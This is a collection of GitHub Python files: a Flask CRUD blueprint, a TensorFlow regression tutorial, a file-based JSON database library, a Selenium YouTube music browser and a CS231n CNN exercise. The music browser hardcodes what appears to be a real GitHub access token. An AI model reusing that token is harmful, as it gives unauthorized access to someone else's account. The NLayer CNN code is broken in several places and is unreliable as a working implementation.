{"seq_id":"39735088201","text":"from flask import Blueprint, render_template, redirect, url_for\nfrom project import db\nfrom project.models import Ponny\nfrom project.ponnies.forms import AddForm, DelForm\n\n\nponnies_blueprint = Blueprint(\n    'ponnies', __name__, template_folder='templates/ponnies')\n\n\n@ponnies_blueprint.route('/add', methods=['GET', 'POST'])\ndef add():\n    form = AddForm()\n\n    if form.validate_on_submit():\n        name = form.name.data\n        new_pon = Ponny(name)\n        db.session.add(new_pon)\n        db.session.commit()\n        return redirect(url_for('ponnies_list'))\n    return render_template('add.html', form=form)\n\n\n@ponnies_blueprint.route('/liste')\ndef liste():\n    ponnies = Ponny.query.all()\n    return render_template('list.html', ponnies=ponnies)\n\n\n@ponnies_blueprint.route('/delete', methods=['GET', 'POST'])\ndef delete():\n    form = DelForm()\n    if form.validate_on_submit():\n        id = form.id.data\n        pon = Ponny.query.get(id)\n        db.session.delete(pon)\n        db.session.commit()\n        return redirect(url_for('ponnies.liste'))\n    return render_template('delete.html', form=form)\n","repo_name":"mebaysan/LearningKitforBeginners-Python","sub_path":"FLASK/FlaskBootCamp-Python/LargeProject-Flask/project/ponnies/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"35"}
{"seq_id":"13170057883","text":"\"\"\" Solution for simple linear regression example using placeholders\nCreated by Chip Huyen (chiphuyen@cs.stanford.edu)\nCS20: \"TensorFlow for Deep Learning Research\"\ncs20.stanford.edu\nLecture 03\n\"\"\"\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\nimport time\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\n\nimport utils\n\nDATA_FILE = 'data/birth_life_2010.txt'\n\n# Step 1: read in data from the .txt file\ndata, n_samples = utils.read_birth_life_data(DATA_FILE)\n\n# Step 2: create placeholders for X (birth rate) and Y (life expectancy)\nX = tf.placeholder(tf.float32, name='X')\nY = tf.placeholder(tf.float32, name='Y')\n\n# Step 3: create weight and bias, initialized to 0\nw = tf.get_variable('weights', initializer=tf.constant(0.0))\nb = tf.get_variable('bias', initializer=tf.constant(0.0))\n\n# Step 4: build model to predict Y\nY_predicted = w * X + b \n\n# Step 5: use the squared error as the loss function\n# you can use either mean squared error or Huber loss\nloss = tf.square(Y - Y_predicted, name='loss')\n# loss = utils.huber_loss(Y, Y_predicted)\n\n# Step 6: using gradient descent with learning rate of 0.001 to minimize loss\noptimizer = tf.train.GradientDescentOptimizer(learning_rate=0.001).minimize(loss)\n\n\nstart = time.time()\nwriter = tf.summary.FileWriter('./graphs/linear_reg', tf.get_default_graph())\nwith tf.Session() as sess:\n\t# Step 7: initialize the necessary variables, in this case, w and b\n\tsess.run(tf.global_variables_initializer()) \n\t\n\t# Step 8: train the model for 100 epochs\n\tfor i in range(100): \n\t\ttotal_loss = 0\n\t\tfor x, y in data:\n\t\t\t# Session execute optimizer and fetch values of loss\n\t\t\t_, l = sess.run([optimizer, loss], feed_dict={X: x, Y:y}) \n\t\t\ttotal_loss += l\n\t\tprint('Epoch {0}: {1}'.format(i, total_loss/n_samples))\n\n\t# close the writer when you're done using it\n\twriter.close() \n\t\n\t# Step 9: output the values of w and b\n\tw_out, b_out = sess.run([w, b]) \n\nprint('Took: %f seconds' %(time.time() - start))\n\n# plot the results\nplt.plot(data[:,0], data[:,1], 'bo', label='Real data')\nplt.plot(data[:,0], data[:,0] * w_out + b_out, 'r', label='Predicted data')\nplt.legend()\nplt.show()","repo_name":"chiphuyen/stanford-tensorflow-tutorials","sub_path":"examples/03_linreg_placeholder.py","file_name":"03_linreg_placeholder.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":10285,"dataset":"github-code","pt":"35"}
{"seq_id":"19867485265","text":"import collections\nimport os\nimport json\nimport ast\nimport string\nimport random\nimport copy\nfrom json import JSONDecodeError\nfrom os import path\n\n\nclass Database:\n    db = None\n    db_path = None\n    db_collection = None\n    db_default_path = 'jlod/databases'\n    db_dictionary = None\n    DBManager = None\n\n    def __init__(self, db_path=db_default_path, dbi=db, collection=db_collection):\n        if db_path.__eq__(self.db_default_path):\n            self.db_path = self.db_default_path\n        else:\n            self.db_path = db_path\n        self.db = dbi\n        self.db_collection = collection\n        self.DBManager = DatabaseManager(self.db_collection)\n        self.db_dictionary = {\n            \"documents\": [\n            ]\n        }\n\n    @property\n    def instance(self):\n        return Database(self.db_path, self.db)\n\n    def connect(self, db_name=None):\n        db_connection = False\n        if not str(db_name).endswith('.db'):\n            self.db = self.db_path + '/' + db_name + '.db'\n\n        try:\n            if db_name is not None:\n                if not os.path.exists(self.db):\n                    os.makedirs(self.db)\n                    console.log('Database [' + db_name + '] created at [' + self.db_path + ']')\n                    db_connection = True\n                else:\n                    db_connection = True\n            else:\n                db_connection = False\n                console.log('Oops! Unable to find database ' + db_name)\n\n        except FileNotFoundError and OSError:\n            console.log('Oops! Unable to initialize local database ' + db_name + ' at ' + self.db_path)\n            return db_connection\n        else:\n            return Database(self.db_path, self.db)\n\n    def collection(self, collection_name=\"\"):\n        if collection_name is not None:\n\n            if not collection_name.endswith('.collection'):\n                collection_name = collection_name + '.collection'\n\n            col = self.db + '/' + collection_name\n            self.db_collection = col\n            open(col, 'a+')  # create collection\n\n            if path.exists(col):\n                return Database(self.db_path, self.db, col)\n            else:\n                console.log('Unable to create collection' + collection_name)\n                return None\n        else:\n            print('Oops! No collection provided')\n\n    def exportTo(self, mongo_collection: classmethod, conditions={}):\n        self.DBManager = DatabaseManager(self.db_collection)\n        try:\n            import pymongo\n            documents: dict\n            if conditions.__len__() > 0:\n                documents = self.DBManager.search(conditions)\n            else:\n                documents = self.DBManager.read()\n            mongo_collection.insert_many(documents)\n        except ImportError:\n            console.log('Oops! Unable to find MangoDB')\n            return False\n        else:\n            return True\n\n    def importFrom(self, mongo_collection: classmethod, conditions: dict):\n        self.DBManager = DatabaseManager(self.db_collection)\n        doc: dict\n        try:\n            import pymongo\n            documents: dict\n            if conditions.__len__() > 0:\n                documents = mongo_collection.find({}, conditions)\n            else:\n                documents = mongo_collection.find({}, conditions)\n            for doc in documents:\n\n                if '_id' in doc.keys():\n                    doc.pop('_id')\n                if 'id' in doc.keys():\n                    doc.pop('id')\n                if doc.__len__() > 0:\n                    self.add(doc)\n        except ImportError as error:\n            console.log('Oop! Unable to find MangoDB')\n            return [error]\n        else:\n            return self.DBManager.read()\n\n    def override(self, obj: dict):\n        document: dict\n        if dict is not None:\n            documentId = self.DBManager.generateId()\n            obj.__setitem__('id', documentId)\n            dictionary = self.db_dictionary.get('documents')\n            dictionary.append(obj)\n            self.DBManager.write(self.db_dictionary)\n            return True\n        else:\n            print('No data found!')\n            return False\n\n    def add(self, obj: dict):\n        document: dict\n        if dict is not None:\n\n            if os.path.getsize(self.db_collection) == 0:\n                self.override(obj)\n            else:\n                document = self.DBManager.read()\n                documentId = self.DBManager.generateId()\n                obj.__setitem__('id', documentId)\n                document.append(obj)\n                dictionary = {\n                    'documents': document\n                }\n                self.DBManager.write(dictionary)\n            return True\n        else:\n            return False\n\n    def addMany(self, documents: []):\n        try:\n            if documents.__len__() > 0:\n                for document in documents:\n                    self.add(document)\n            console.log(str(len(documents)) + ' documents added')\n        except ValueError as ex:\n            return False\n        else:\n            return True\n\n    @property\n    def documents(self):\n        document: dict\n        document = self.DBManager.read()\n        return document\n\n    @property\n    def count(self):\n        document: dict\n        document = self.DBManager.read()\n        return document.__len__()\n\n    @property\n    def truncate(self):\n        self.DBManager.truncate()\n        return True\n\n    @property\n    def drop(self):\n        try:\n            os.remove(self.db_collection)\n        except FileNotFoundError:\n            print(\"Collection \" + self.db_collection + \"  not found \")\n        else:\n            return True\n\n    @property\n    def size(self):\n        self.DBManager = DatabaseManager(self.db_collection)\n        return self.DBManager.getSize()\n\n    def update(self, keyAndReplacement: dict, conditions=None):\n        if conditions is None:\n            document = self.DBManager.read()\n        else:\n            document = self.DBManager.search(conditions)\n\n        self.DBManager.update(document, keyAndReplacement)\n\n    def removeAll(self):\n        self.DBManager.truncate()\n\n    def sort(self, sorts=None, conditions=None, limit=0):\n        self.DBManager = DatabaseManager(self.db_collection)\n        if conditions is None and sorts is None:\n            documents = self.DBManager.read()\n        else:\n            if conditions is not None and conditions.__len__() > 0:\n                documents = self.DBManager.search(conditions)\n            else:\n                documents = self.DBManager.read()\n\n            if limit > 0:\n                documents = self.distinct(documents, limit)\n            else:\n                if conditions:\n                    documents = self.DBManager.search(conditions)\n\n            if sorts.__len__() > 0:\n                for key, val in sorts.items():\n                    keyName = key\n                    if val.__eq__(-1):\n                        reverseFlag = False\n                    else:\n                        reverseFlag = True\n                    documents.sort(key=lambda x: x.__getitem__(\n                        keyName), reverse=reverseFlag)\n        return documents\n\n    def remove(self, conditions=None):\n        if conditions is None:\n            document = self.DBManager.read()\n        else:\n            document = self.DBManager.search(conditions)\n\n        if conditions is None:\n            return self.truncate\n        else:\n            return self.DBManager.remove(document)\n\n    def getOne(self, keyList=None, conditions=None):\n        resultSet = []\n        if conditions is None:\n            documents = self.DBManager.read()\n        else:\n            documents = self.DBManager.search(conditions)\n\n        if documents.__len__() > 0:\n            resultSet.append(documents[0])\n\n        return self.DBManager.get(resultSet, keyList)\n\n    def get(self, keyList=None, conditions=None):\n        if conditions is None:\n            document = self.DBManager.read()\n        else:\n            document = self.DBManager.search(conditions)\n\n        return self.DBManager.get(document, keyList)\n\n    def findOne(self, conditions=None):\n        self.DBManager = DatabaseManager(self.db_collection)\n        resultSet = []\n        if conditions is not None:\n            documents = self.DBManager.search(conditions)\n        else:\n            documents = self.DBManager.read()\n\n        if documents.__len__() > 0:\n            resultSet.append(documents[0])\n        return resultSet\n\n    def distinct(self, conditions=None, limit=0):\n        keylookup = \"\"\n        resultSet = []\n        key_checker = {}\n        already_added = []\n\n        if isinstance(conditions, dict):\n            for key, vlaue in conditions.items():\n                valuelookup = vlaue\n                keylookup = key\n        else:\n            valuelookup = keylookup = conditions\n\n        if conditions is not None and conditions.__len__() > 0:\n            document = self.DBManager.read()\n            for doc in document:\n                params = doc[keylookup]\n                name = doc[keylookup]\n                doc_val = doc[keylookup]\n                if params in key_checker:\n                    key_checker[params] = doc_val\n                elif name not in key_checker:\n                    key_checker[params] = doc_val\n            for doc in document:\n                name = doc[keylookup]\n                doc_val = doc[keylookup]\n                if (key_checker[name] == doc_val) and (name not in already_added):\n                    resultSet.append(doc)\n                    already_added.append(name)\n        if limit > 0:\n            resultSet = distinct(resultSet, limit)\n        return resultSet\n\n    def find(self, conditions=None, limit=0):\n        self.DBManager = DatabaseManager(self.db_collection)\n        if conditions is None and limit == 0:\n            documents = self.DBManager.read()\n            return documents\n        else:\n            if conditions is not None and conditions.__len__() > 0:\n                documents = self.DBManager.search(conditions)\n            else:\n                documents = self.DBManager.read()\n            if limit > 0:\n\n                return documents\n            else:\n                if conditions:\n                    return self.DBManager.search(conditions)\n                else:\n                    return documents\n\n\nclass DatabaseManager:\n    db_collection = None\n\n    def __init__(self, collection=db_collection):\n        self.db_collection = collection\n\n    def generateId(self):\n        return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(30))\n\n    def getSize(self):\n        st = os.stat(self.db_collection)\n        return st.st_size\n\n    def truncate(self):\n        collection = open(self.db_collection, 'r+')\n        collection.truncate()\n        collection.close()\n\n    def write(self, document: dict):\n        collectionWriter = open(self.db_collection, 'w')\n        collectionWriter.write(str(document))\n        collectionWriter.close()\n\n    def read(self):\n        try:\n            collectionReader = open(self.db_collection, 'r')\n            document = collectionReader.read()\n            if document.__ne__(''):\n                document = document.replace(\"'\", \"\\\"\")\n                document = json.loads(document)\n            else:\n                document = {\n                    \"documents\": [\n                    ]\n                }\n        except JSONDecodeError as error:\n            return [error]\n        else:\n            return document.get('documents')\n\n    def get(self, document: dict, keys=None):\n\n        resultSet = []\n        if keys is not None:\n            if keys.__ne__(\"*\"):\n                for doc in document:\n                    localDict = {\n                        \"$~\": \"init\"\n                    }\n                    for key in keys:\n                        if key in doc.keys():\n                            if type(doc[key]) is string:\n                                localDict.update({'' + key + '': '' + doc[key] + ''})\n                            else:\n                                localDict.update({'' + key + '':doc[key]})\n                    localDict.pop(\"$~\")\n                    resultSet.append(localDict)\n            else:\n                resultSet = document\n            return resultSet\n        else:\n            return document\n\n    def extract(self, doc: dict, key: str, operator: str, value):\n        resultSet = None\n        if operator.__eq__(\"$eq\"):\n            if str(doc[key]).lower() == str(value).lower():\n                resultSet = doc\n        elif operator.__eq__(\"$ne\"):\n            if str(doc[key]).lower() != str(value).lower():\n                resultSet = doc\n        elif operator.__eq__(\"$gt\"):\n            if int(str(doc[key]).lower()) > int(str(value).lower()):\n                resultSet = doc\n        elif operator.__eq__(\"$gte\"):\n            if int(str(doc[key]).lower()) >= int(str(value).lower()):\n                resultSet = doc\n        elif operator.__eq__(\"$lt\"):\n            if int(str(doc[key]).lower()) < int(str(value).lower()):\n                resultSet = doc\n        elif operator.__eq__(\"$lte\"):\n            if int(str(doc[key]).lower()) <= int(str(value).lower()):\n                resultSet = doc\n        elif operator.__eq__(\"$in\"):\n            if str(doc[key]).lower() == str(value).lower():\n                resultSet = doc\n\n        elif operator.__eq__(\"$nin\"):\n            if str(doc[key]).lower() != str(value).lower():\n                resultSet = doc\n\n        return resultSet\n\n    def query(self, documents: dict, logicKey: str, conditions: dict):\n        resultSet = []\n        if type(conditions) is not dict and isinstance(conditions, collections.Sequence):\n            if logicKey.__eq__(\"$or\"):\n                for cond in conditions:\n                    for citems in cond.items():\n                        key = citems[0]\n                        items = citems[1]\n\n                        for citems in items.items():\n                            operator = citems[0]\n                            value = citems[1]\n                            for doc in documents:\n                                if key in doc:\n                                    result = self.extract(doc, key, operator, value)\n                                    if result is not None:\n                                        resultSet.append(result)\n            elif logicKey.__eq__(\"$and\"):\n                for doc in documents:\n                    query = []\n                    for cond in conditions:\n                        for citems in cond.items():\n                            key = citems[0]\n                            items = citems[1]\n                            for citems in items.items():\n                                operator = citems[0]\n                                value = citems[1]\n\n                                if key in doc:\n                                    result = self.extract(doc, key, operator, value)\n                                    if result is not None:\n                                        query.append(1)\n\n                    if query.__len__() == conditions.__len__():\n                        if doc not in resultSet:\n                            resultSet.append(doc)\n        else:\n            for cond in conditions.items():\n                key = str(cond[0])\n                items = cond[1].items()\n                for citems in items:\n                    operator = citems[0]\n                    value = citems[1]\n                    for doc in documents:\n                        if key in doc:\n                            result = self.extract(doc, key, operator, value)\n                            if result is not None:\n                                resultSet.append(result)\n        return resultSet\n\n    def search(self, conditions: dict):\n        documents = self.read()\n        resultSet = []\n\n        if type(conditions) is list:\n            for condition in conditions:\n                for cond in condition.items():\n                    key = str(cond[0]).lower()\n                    items = cond[1]\n                    for citems in items.items():\n                        operator = citems[0]\n                        value = citems[1]\n                        for doc in documents:\n                            result = self.extract(doc, key, operator, value)\n                            if result is not None:\n                                if result not in resultSet:\n                                    resultSet.append(result)\n\n        elif type(conditions) is dict:\n            for cond in conditions.items():\n                key = str(cond[0]).lower()\n                value = cond[1]\n\n                if key.startswith(\"$\"):\n                    if type(value) is list:\n                        for cdoc in value:\n                            for condoc in cdoc.items():\n                                key = str(condoc[0]).lower()\n                                items = condoc[1]\n                                for citems in items.items():\n                                    operator = citems[0]\n                                    value = citems[1]\n                                    for doc in documents:\n                                        result = self.extract(doc, key, operator, value)\n                                        if result is not None:\n                                            if result not in resultSet:\n                                                resultSet.append(result)\n                    else:\n                        if self.query(documents, key, value).__len__() > 0:\n                            resultSet = self.query(documents, key, value)[:]\n                else:\n\n                    if type(value) is dict:\n                        for citems in value.items():\n                            operator = citems[0]\n                            value = citems[1]\n                            for doc in documents:\n                                if type(value) is not str and isinstance(value, collections.Sequence):\n                                    for each in value:\n                                        result = self.extract(doc, key, operator, each)\n                                        if result is not None:\n                                            if str(operator) == \"$nin\":\n                                                if result not in resultSet:\n                                                    if result[key] not in value:\n                                                        lowerResult = map(str, value)\n                                                        lowerResult = map(str.lower, lowerResult)\n                                                        if str(result[key]).lower() not in lowerResult:\n                                                            resultSet.append(result)\n                                            else:\n                                                if result not in resultSet:\n                                                    resultSet.append(result)\n                                else:\n                                    result = self.extract(doc, key, operator, value)\n                                    if result is not None:\n                                        if result not in resultSet:\n                                            resultSet.append(result)\n\n                    else:\n                        for doc in documents:\n                            for cond in conditions.items():\n                                key = str(cond[0])\n                                value = str(cond[1])\n                                if str(value).__contains__('[') and str(value).__contains__(']'):\n                                    values = ast.literal_eval(value)\n                                    for val in values:\n                                        if key in doc:\n                                            if str(doc[key]).lower() == str(val).lower():\n                                                if doc not in resultSet:\n                                                    resultSet.append(doc)\n                                else:\n                                    if str(doc[key]).lower() == str(value).lower():\n                                        if doc not in resultSet:\n                                            resultSet.append(doc)\n        return resultSet\n\n    def update(self, document: dict, keyAndReplacement: dict):\n        if keyAndReplacement.__len__() > 0 and document.__len__() > 0:\n            oldDocument = copy.deepcopy(document)\n            for doc in document:\n                for sar in keyAndReplacement.items():\n                    key = sar[0]\n                    value = sar[1]\n                    if key in doc:\n                        doc[key] = value\n                    else:\n                        doc.__setitem__(key, value)\n\n            base = self.read()\n            for oldDoc in oldDocument:\n                base = [x for x in base if x != oldDoc]\n\n            for newDoc in document:\n                if newDoc is not None:\n                    base.append(newDoc)\n\n            dictionary = {\n                'documents': base\n            }\n            self.write(dictionary)\n            return True\n        else:\n            return False\n\n    def remove(self, document: dict):\n\n        base = self.read()\n        for doc in document:\n            base = [x for x in base if x != doc]\n\n        dictionary = {\n            'documents': base\n        }\n        self.write(dictionary)\n        return True\n\n\nclass Console:\n    def log(self, msg):\n        print(msg)\n\n\nconsole = Console()\ndatabase = Database()\n","repo_name":"aliyura/jlod-python","sub_path":"jlod/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":21757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2116449643","text":"T = int(input())\nfor cnt in range(1, T + 1):\n    people = int(input())\n    arr = list(map(int, input().split()))\n    total = sum(arr)/people\n    count = 0\n    for i in arr:\n        if i<=total:\n            count+=1\n    print('#' + str(cnt) + ' ' + str(count))","repo_name":"Jungwoo-20/Algorithm","sub_path":"SWEA/10505.py","file_name":"10505.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"638953807","text":"#!/usr/bin/env python\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom webdriver_manager.firefox import GeckoDriverManager\nimport os\nimport threading\nimport math\nfrom bs4 import BeautifulSoup\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.firefox.service import Service\nimport tkinter as tk\n\n#service = Service(executable_path=\"/Users/matthewwear/Documents/Software/Other/code/umusi/geckodriver\")\n#Service = Service(executable_path=GeckoDriverManager().install())\nos.environ['GH_TOKEN'] = \"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\"\n\n#os.environ['MOZ_HEADLESS'] = '1'\n\n\"\"\" Class for selenium Firefox server \"\"\"\nclass Server:\n    def readInput(self, args=None):\n        if args==None:\n            args = ['']*2\n            args[0] = input('Artist name: ')\n            args[1] = input('Song name: ').replace(' ', '+')\n        args[0] = args[0].replace(' ', '+')\n        args[1] = args[1].replace(' ', '+')\n        url = f'https://www.youtube.com/results?search_query={args[0]}+{args[1]}'\n        \n        if args[2] == 1:\n            url = url + '+[live]'\n        \n        return url\n    \n    def skip(self):\n        try:\n            for i in range(2):\n                wait = WebDriverWait(self.browser, 6)\n                visible = EC.visibility_of_element_located\n                wait.until(visible((By.CLASS_NAME,'ytp-ad-skip-button-container')))\n                self.browser.find_element(By.CLASS_NAME,'ytp-ad-skip-button-container').click()\n        except:\n            pass\n\n    \"\"\" retrieveLinks finds as many links as possible for the given search input url, returns links \n        tests: 3.64s\n    \"\"\"\n    def retrieveLinks(self, url): \n        options = Options()\n        options.headless = True\n\n        self.browser = webdriver.Firefox(options=options, executable_path=GeckoDriverManager().install())\n        \n        wait = WebDriverWait(self.browser, 5)\n        presence = EC.presence_of_element_located\n        visible = EC.visibility_of_element_located\n\n        self.browser.get(url)\n        wait.until(visible((By.ID, \"logo-icon\")))\n        \n        source = self.browser.page_source\n        soup = BeautifulSoup(source, 'html.parser')\n        links = soup.find_all('a', {'class':'yt-simple-endpoint style-scope ytd-video-renderer'}, href=True)\n        \n        new_links = []\n        for link in links:\n            new_links.append((link['title'],link['href']))\n        \n        self.browser.quit()\n\n        return new_links \n    \n    \"\"\" showLink opens the input link in a selenium Firefox server and skips ads, if possible\n    \"\"\"\n    def showLink(self, link, show):\n        if show:\n            self.browser = webdriver.Firefox(executable_path=GeckoDriverManager().install())\n        else:\n            options = Options()\n            options.headless = True\n            self.browser = webdriver.Firefox(options=options, executable_path=GeckoDriverManager().install())\n\n        url = 'https://www.youtube.com' + link\n    \n        wait = WebDriverWait(self.browser, 5)\n        presence = EC.presence_of_element_located\n        visible = EC.visibility_of_element_located\n\n        self.browser.get(url)\n        wait.until(visible((By.ID, 'primary-inner')))\n        self.browser.find_element(By.ID,'primary-inner').click()\n\n        S = threading.Timer(8.0, self.skip)\n        S.start()\n\n\n\"\"\" Class for GUI \"\"\"\nclass Window(tk.Tk):\n    def __init__(self):\n        super().__init__()\n        self.title('Umusi')\n        self.minsize(500, 400)\n\n        self.lbl_artist = tk.Label(master=self, text='Artist', width=20)\n        self.lbl_song = tk.Label(master=self, text='Song', width=20)\n        self.ent_artist = tk.Entry(master=self, width=20)\n        self.ent_song = tk.Entry(master=self, width=20)\n        self.lbl_artist.grid(row=0, column=0, padx=5, pady=5, sticky=\"w\")\n        self.lbl_song.grid(row=0, column=1, padx=5, pady=5, sticky=\"w\")\n        self.ent_artist.grid(row=1, column=0, padx=5, pady=5, sticky=\"w\")\n        self.ent_song.grid(row=1, column=1, padx=5, pady=5, sticky=\"w\")\n        \n        self.var = tk.IntVar()\n        self.btn_show = tk.Checkbutton(master=self, text='Show window',\n                variable=self.var, onvalue = 1, offvalue = 0)\n        self.btn_show.grid(row=0, column=2, padx=5, pady=5, sticky=\"w\")\n\n        self.var_live = tk.IntVar()\n        self.btn_live = tk.Checkbutton(master=self, text='Live version',\n                variable=self.var_live, onvalue = 1, offvalue = 0)\n        self.btn_live.grid(row=1, column=2, padx=5, pady=5, sticky=\"w\")\n        \n        self.makeFrames()\n        self.page = 0\n        \n        self.bind(\"<Return>\", self.handleReturn)\n        self.bind(\"<Escape>\", self.handleClear)\n    \n    def handleClose(self, event):\n        self.server.browser.quit()\n        self.btn_quit.destroy() \n        \n    def handleClear(self, event):\n        self.ent_artist['state'] = 'normal'\n        self.ent_song['state'] = 'normal'\n        self.ent_artist.delete(0, tk.END)\n        self.ent_song.delete(0, tk.END)\n        self.btn_back.destroy()\n        self.btn_next.destroy()\n        self.clearFrames()\n    \n    def handleKey(self, event):\n        if event.char == 'Escape':\n            self.ent_artist['state'] = 'normal'\n            self.ent_song['state'] = 'normal'\n            self.ent_artist.delete(0, tk.END)\n            self.ent_song.delete(0, tk.END)\n            self.clearFrames()\n        if event.char.isnumeric():\n            index = int(event.char)\n            # launch link\n            link = self.links[index+(self.page*10)][1]\n            self.btn_quit = tk.Button(master=self, text='Close server')\n            self.btn_quit.bind(\"<Button-1>\", self.handleClose)  \n            self.btn_quit.grid(row=3, column=2, padx=5, pady=5, sticky=\"w\")\n            \n            show = self.var.get()\n            self.server.showLink(link, show)\n        \n    def handleReturn(self, event):\n        self.clearFrames()\n        self.makeFrames()\n        self.artist = self.ent_artist.get()\n        self.song = self.ent_song.get()\n        \n        # make forward, back\n        self.btn_back = tk.Button(master=self, text='Back')\n        self.btn_next = tk.Button(master=self, text='Next')\n        self.btn_back.bind(\"<Button-1>\", self.handleBack)\n        self.btn_next.bind(\"<Button-1>\", self.handleNext)\n        self.btn_back.grid(row=2, column=2, padx=0, pady=0, sticky=\"w\")\n        self.btn_next.grid(row=2, column=3, padx=0, pady=0, sticky=\"w\")\n        # pass input to server\n        self.server = Server()\n        args = [self.artist, self.song, self.var_live.get()]\n        url = self.server.readInput(args)\n        print(url)\n        self.links = self.server.retrieveLinks(url)\n        \n        for i in range(0, 10):\n            link = self.links[i+(self.page*10)]\n            label = tk.Label(\n                    master=self.frames[i],\n                    text=f\"{i} : {link[0]}\",\n                    )\n            label.pack(padx=0, pady=0)\n        \n        self.server.browser.quit()\n\n        # select link\n        self.ent_artist['state'] = 'readonly'\n        self.ent_song['state'] = 'readonly'\n\n        self.bind(\"<Key>\", self.handleKey)\n   \n    def handleBack(self, event):\n        if self.page > 0:\n            self.page -= 1\n            self.handleReturn(None)\n        \n    def handleNext(self, event):\n        num = len(self.links)\n        max_pages = math.floor(num/10)\n        if self.page < max_pages:\n            self.page += 1\n            self.handleReturn(None)\n\n    def makeFrames(self):\n        self.frames = []\n        for i in range(10):\n            frame = tk.Frame(\n                    master=self,\n                    relief=tk.RAISED,\n                    borderwidth=1\n                    )\n            frame.grid(row=i+2, column=0, padx=0, pady=0, sticky=\"w\")\n            self.frames.append(frame)\n\n    def clearFrames(self):\n        for frame in self.frames:\n            frame.destroy()\n\n\ndef main():\n    window = Window()\n    window.mainloop()\n\n\nmain()\n\n#browser.minimize_window()\n\n\n\n\n","repo_name":"matt-rw/music_browser","sub_path":"mb.py","file_name":"mb.py","file_ext":"py","file_size_in_byte":8216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29561112854","text":"import numpy as np\nfrom cs231n.layers import *\nfrom cs231n.fast_layers import *\nfrom cs231n.layer_utils import *\n\ndef n_layer_cnn_init(weight_scale=1e-3, bias_scale=0, input_dim=(3, 32, 32), num_filters=32, filter_size=7,\n                 num_filters_conv=20, num_classes=10, num_hidden_conv=3):\n        C, H, W = input_dim\n        model = {}\n        model['W1'] = weight_scale * np.random.randn(num_filters, C, filter_size, filter_size)\n        model['b1'] = bias_scale * np.random.randn(num_filters)\n        for i in range(num_hidden_conv - 2):\n            model['W' + str(i + 2)] = weight_scale * np.random.randn(num_filters_conv, num_filters, filter_size,\n                                                                     filter_size)\n            model['b' + str(i + 2)] = bias_scale * np.random.randn(num_filters_conv)\n\n        model['W'+str(i+3)] = weight_scale * np.random.randn(\n            num_filters * int((H / (2 ** num_hidden_conv)) * (W / (2 ** num_hidden_conv)) / 4), num_classes)\n        model['b'+str(i+3)] = bias_scale * np.random.randn(num_classes)\n        return model\n\ndef n_layer_cnn(X, model, y=None, reg=0.0):\n        W1, b1, W2, b2, W3, b3 = model['W1'], model['b1']\n        N, C, H, W = X.shape\n        conv_filter_height, conv_filter_width = W1.shape[2:]\n        assert conv_filter_height == conv_filter_width, 'Conv filter must be square'\n        assert conv_filter_height % 2 == 1, 'Conv filter height must be odd'\n        assert conv_filter_width % 2 == 1, 'Conv filter width must be odd'\n        conv_param = {'stride': 1, 'pad': (conv_filter_height - 1) / 2}\n        pool_param = {'pool_height': 2, 'pool_width': 2, 'stride': 2}\n\n        # Compute the forward pass\n        last_ind = len(model)/2\n        cache = []\n        a = np.empty((1, last_ind))\n        WW = np.empty((1, last_ind+1))\n        B = np.empty((1, last_ind+1))\n        #start from 1 index, a[0], cache[0] empty\n        a[1], cache[1] = conv_relu_pool_forward(X, model['W1'], model['b1'], conv_param, pool_param)\n        for i in range(len(model)/2-3):\n                w = model['W'+str(i+2)]\n                WW.append(w)\n                b = model['b'+str(i+2)]\n                B.append(b)\n                a[i+2], cache[i+2] = conv_relu_pool_forward(a[i+1], w, b, conv_param, pool_param)\n\n        #a2, cache2 = conv_relu_pool_forward(a1, W2, b2, conv_param, pool_param)\n        scores, cache[i+3] = affine_forward(a[i+2], model['W'+str(i+3)], model['b'+str(i+3)])\n\n\n        if y is None:\n            return scores\n\n            # Compute the backward pass\n        data_loss, dscores = softmax_loss(scores, y)\n\n        # Compute the gradients using a backward pass\n        da = np.empty((1, (len(model)/2)))\n        dW = np.empty((1, (len(model)/2)+1))\n        db = np.empty((1, (len(model)/2)+1))\n\n        da[last_ind-1], dW[last_ind], db[last_ind] = affine_backward(dscores, cache[i+3])\n        for i in reversed(range(last_ind-2)):\n                da[i], dW[i+1], db[i+1] = conv_relu_pool_backward(da[i+1], cache[i+1])\n        for i in len(da):\n            dW[i+1]+=reg*W[i+1]\n\n        #da1, dW2, db2 = conv_relu_pool_backward(da2, cache2)\n        #dX, dW1, db1 = conv_relu_pool_backward(da1, cache1)\n\n        # Add regularization\n        #dW1 += reg * W1\n        #dW2 += reg * W2\n        #dW3 += reg * W3\n        reg_loss = 0.5 * reg * sum(np.sum(w * w) for w in WW)\n\n        loss = data_loss + reg_loss\n        grads = {}\n        for i in range(len(dW)):\n                grads['W'+str(i+1)] = dW[i+1]\n                grads['b'+str(i+1)] = db[i+1]\n        #grads = {'W1': dW1, 'b1': db1, 'W2': dW2, 'b2': db2, 'W3': dW3, 'b3': db3}\n        return loss, grads\n\n\n","repo_name":"Alicegaz/CS231n-DeepLearningAssignments","sub_path":"HW2/cs231n/classifiers/NLayer.py","file_name":"NLayer.py","file_ext":"py","file_size_in_byte":3665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
